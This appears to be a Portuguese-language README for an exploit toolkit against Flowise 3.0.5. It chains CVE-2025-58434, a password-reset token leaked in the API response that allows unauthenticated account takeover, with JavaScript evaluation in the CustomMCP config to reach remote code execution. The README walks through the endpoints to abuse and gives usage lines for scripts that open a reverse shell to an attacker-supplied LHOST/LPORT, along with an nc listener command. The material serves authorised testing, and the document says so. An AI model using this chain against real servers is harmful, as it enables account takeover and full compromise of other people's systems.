CVE-2025-58434 - Assunção de conta não autenticada no Flowise, encadeada com RCE via CustomMCP

Dois problemas no Flowise 3.0.5, encadeados:

1. CVE-2025-58434 - divulgação do token de redefinição de senha. POST /api/v1/account/forgot-password retorna o tempToken do usuário-alvo diretamente na resposta JSON. Envie-o para POST /api/v1/account/reset-password para definir uma senha conhecida para qualquer conta, incluindo o primeiro admin -> assunção total de conta não autenticada.
2. Avaliação de JavaScript no servidor via mcpServerConfig do CustomMCP. Com uma sessão e chave de API do workspace (do passo 1), POST /api/v1/node-load-method/customMCP com loadMethod=listActions avalia a string mcpServerConfig como JavaScript no processo do Flowise, permitindo RCE via require('child_process').exec(). (Problema separado do Flowise usado aqui apenas para transformar a ATO em execução de código; nenhum CVE atribuído no momento da escrita.)

CVE: CVE-2025-58434

Requisitos

python3 -m pip install requests

Uso

flowise_ato_foothold.py - cadeia completa (ATO -> chave de API -> reverse shell via CustomMCP)

python3 flowise_ato_foothold.py <LHOST> <LPORT> [TARGET_IP] [FLOWISE_VHOST]
# tenha `nc -lvnp <LPORT>` pronto

flowise_customMCP_rce.py - apenas RCE via CustomMCP (requer uma chave de API)

python3 flowise_customMCP_rce.py '<comando>' '<FLOWISE_API_KEY>'

Referências

• https://github.com/FlowiseAI/Flowise/security/advisories
• NVD: CVE-2025-58434

Aviso legal

Apenas para testes de segurança autorizados e fins educacionais. Execute isso somente contra sistemas que você possui ou para os quais tem permissão explícita por escrito para testar.

---

Autor: r3vpwnx